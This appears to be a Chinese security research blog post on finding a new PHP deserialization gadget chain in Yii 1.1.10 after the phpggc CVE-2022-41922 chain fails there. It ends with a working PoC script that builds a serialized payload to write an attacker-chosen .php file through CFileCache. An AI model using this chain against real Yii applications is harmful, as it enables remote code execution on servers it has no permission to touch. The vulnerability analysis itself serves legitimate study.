前言
在整理资料的时候,发现一套基于Yii框架二开的项目,去搜了一下相关信息,发现在phpggc项目里存在其中一条rce链,对应的编号应该是CVE-2022-41922。
gadget地址:
https://github.com/ambionics/phpggc/blob/master/gadgetchains/Yii/RCE/1/gadgets.php
利用到的接口知识
本地搭建1.1.20版本的环境,对上面RCE链条做了复现调试,学习到了两个比较有意思的接口知识,debug过程我就不贴图了,感兴趣的可以自行调试。
yii项目地址:
https://github.com/yiisoft/yii/tree/1.1.20
链条从__wakeup开始,主要利用的是Iterator接口和ArrayAccess接口,"为什么可以这样?" 这是我debug过程产生的第一个疑问。向我的好朋友"AI凡"请教一下。
一、Iterator接口
当foreach循环遍历 一个实现了Iterator接口 的类对象时,会调用相关需要实现的方法,来看看AI的解释:
例子:
class SimpleIterator implements Iterator {
private $data = ['Test'];
private $position = 0;
public function rewind() {
echo "This is rewindn";
$this->position = 0;
}
public function valid() {
echo "This is validn";
return isset($this->data[$this->position]);
}
public function current() {
echo "This is currentn";
return $this->data[$this->position];
}
public function key() {
echo "This is keyn";
return $this->position;
}
public function next() {
echo "This is nextn";
++$this->position;
}
}
// 创建迭代器对象
$iterator = new SimpleIterator();
// 使用 foreach 遍历迭代器
foreach ($iterator as $key => $value) {
echo "Key: $key, Value: $valuen";
}
输出结果:
二、ArrayAccess接口
一个 实现ArrayAccess接口 的类,当以数组的形式对该类对象中的属性进行操作时,会自动调用相应的方法。AI解释如下:
例子:
class SimpleArrayAccess implements ArrayAccess {
public function __construct() {
}
public function offsetExists($offset) {
echo "This is offsetExists:".$offset."n";
}
public function offsetGet($offset) {
echo "This is offsetGet:".$offset."n";
}
public function offsetSet($offset, $value) {
echo "This is offsetSet:".$offset.":".$value."n";
}
public function offsetUnset($offset) {
echo "This is offsetUnset:".$offset."n";
}
}
$arrayAccessObject = new SimpleArrayAccess();
$arrayAccessObject[1];
$arrayAccessObject[2]="Va";
unset($arrayAccessObject[3]);
isset($arrayAccessObject[4]);
输出结果:
目标利用失败
回到基于Yii1二开的项目,利用并没有成功,原因是从Yii1.1.11开始,在CCache类(gadget关键类)的get方法里才使用到call_user_func(),目标版本为Yii1.1.10。
Yii1.1.11 CCache类
Yii1.1.10 CCache类
既然链条的后半部分无法继续利用,那么是否可以通过刚刚学习到的接口知识再续一个利用链呢?
寻找新的利用点
本地部署 yii1.1.10项目:
https://github.com/yiisoft/yii/tree/1.1.10
根据刚刚对ArrayAccess接口的理解,我在CCache类的实现方法中观察到offsetSet方法
如果分析了上面的RCE链(CVE-2022-41922),我们知道$this->getValue函数是调用的CFileCache类的getValue,因为CFileCache类继承于抽象类CCache,且实现了getValue函数,其中$this->setValue函数也是一样的道理。
观察CFileCache类的setValue方法,调用了file_put_contents函数,且文件名以及内容都是可控,想要成功闭环,关键点是找到一个能触发offsetSet方法的位置。
结合刚刚观察到的两个点,暂定接下来的分析思路:
1、以getValue为突破口,找到符合条件的类。
继承于CCache类,且实现了getValue,getValue逻辑中能触发其他魔术方法。
2、找到一个能触发offsetSet的位置。
形如 $arrayAccessObject['key']=$value; //$value 可控。
寻找getValue函数
CDbCache类继承于抽象类CCache,且实现了getValue函数。
如果$db是一个对象,现在要访问该对象不存在的属性,可触发该对象的 __get方法。
查看getDbConnection方法,$this->_db不为空时直接返回并赋值给$db,是可控的。
CDbCache类实现的getValue函数中,可控制$db为一个存在__get方法且不存在queryCachingDuration属性的对象。
寻找__get方法
CModule 类
这里需要进入getComponent(),前提是hasComponent()需要为true。
给$this->_componentConfig[$id]指定值即可 //内容需要符合后续逻辑相关数组键值
将getComponent()分解为步骤1,2,3
分析步骤1:
为了进入到步骤2和步骤3,初始化时不定义_components即可,这也符合在hasComponent()中的逻辑或运算。
分析步骤2
a、将$config['class']的类名赋值给$type,往下会判断类是否存在
b、实例化一个类对象
c、将$config中未被unset的键值对,经过循环遍历,key为类对象的属性,并赋值
(这里如果对不存在的属性进行赋值是不是触发了__set()?插个桩)
分析步骤3
调用从步骤2中返回对象的init()
总的来说,CModule 类的__get方法是允许我们调用任意类的init方法。到这里算是完成了思路1。
寻找init方法
CActiveForm类,在红色箭头处代码操作符合触发offsetSet方法,完成思路2,剩下考虑数值是否可控。
$this->htmlOptions['id']=$this->id;
再来回顾offsetSet方法逻辑,这个$value是需要我们控制的,也是file_put_contents的第二个参数,所以$this->id的值需要我们去控制。
我们在CActiveForm类的"祖宗"CComponent类找到了这两个魔术方法,类继承关系如下:
CActiveForm extends CWidget extends CBaseController extends CComponent
反序列化过程中按照触发顺序,先进入CComponent类的__set方法。
形参$name='id',
形参$value='自定义值',
变量$setter='setid'
method_exists()默认情况下不区分大小写
$this->$setter() ===> $this->setid($value) //这里在“孙子”CWidget类中实现了setId方法。
来到CWidget类的setId方法,将$value赋值给$this->_id
后进入CComponent类的__get方法。
形参$name='id',
变量$getter='getid'
$this->$getter() ===> $this->getid() //这里在“孙子“CWidget类中实现了getId方法。
CWidget类的getId方法逻辑如下
所以$this->id 的值最终来源是getId方法的$this->id,而$this->id 是由setId()形参$value赋值,$value为我们可控,解决了写入内容操作问题。
至此,配合原RCE链前半部分,以getValue方法为转折点,找到了能触发offsetSet方法的位置,成功闭环一条可用的链路。
P
class CFileCache{
public $hashKey;
public $keyPrefix;
public $serializer;
public $embedExpiry;
public $cachePath;
public $cacheFileSuffix;
public $directoryLevel;
public function __construct(){
$this->hashKey = false;
$this->keyPrefix = "test";
$this->serializer = false;
$this->embedExpiry = false;
$this->cachePath = ".";
$this->cacheFileSuffix = ".php";
$this->directoryLevel = 0;
}
}
class CModule{
private $_componentConfig;
public function __construct($objcc)
{
$this->_componentConfig = array("queryCachingDuration"=>array("enabled"=>"1","class"=>"CActiveForm","htmlOptions"=>$objcc,"id"=>"<?php print_r(md5(1));?>"));
}
}
class CWebModule extends CModule{
function __construct($objcc){
parent::__construct($objcc);
}
}
class CDbCache{
private $_db;
function __construct($objCache)
{
$this->_db=$objCache;
}
}
class CMapIterator
{
private $_d;
private $_keys;
function __construct($_dobj)
{
$this->_d = $_dobj;
$this->_keys = ["123"];
}
}
class CDbCriteria
{
function __construct($params)
{
$this->params = $params;
}
}
$x = new CFileCache();
$z = new CWebModule($x);
$y = new CDbCache($z);
$a = new CMapIterator($y);
$b = new CDbCriteria($a);
echo urlencode(serialize($b));
验证
总结
学习+巩固+解决问题=Interested
原文始发于微信公众号(XINYU2428):Yii反序列化链条学习与挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论